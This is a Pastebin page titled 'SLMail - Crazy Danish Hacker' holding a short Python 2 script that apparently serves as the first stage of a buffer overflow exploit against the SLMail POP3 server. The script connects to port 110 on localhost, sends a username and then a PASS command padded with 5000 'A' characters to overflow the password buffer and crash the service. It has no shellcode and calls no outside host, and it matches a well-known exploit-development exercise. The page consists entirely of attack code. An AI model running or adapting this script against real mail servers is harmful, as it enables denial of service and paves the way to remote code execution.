Guest User

SLMail - Crazy Danish Hacker

a guest
Dec 28th, 2019
142
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket
  2.  
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4.  
  5. buffer = '\x41' * 5000 # \x41 == A
  6.  
  7. s.connect(('127.0.0.1', 110))
  8. data = s.recv(1024)
  9. print data
  10.  
  11. s.send('USER username' +'\r\n')
  12. data = s.recv(1024)
  13. print data
  14.  
  15. s.send('PASS ' + buffer + '\r\n')
  16. data = s.recv(1024)
  17. print data
  18.  
  19. s.close()
RAW Paste Data Copied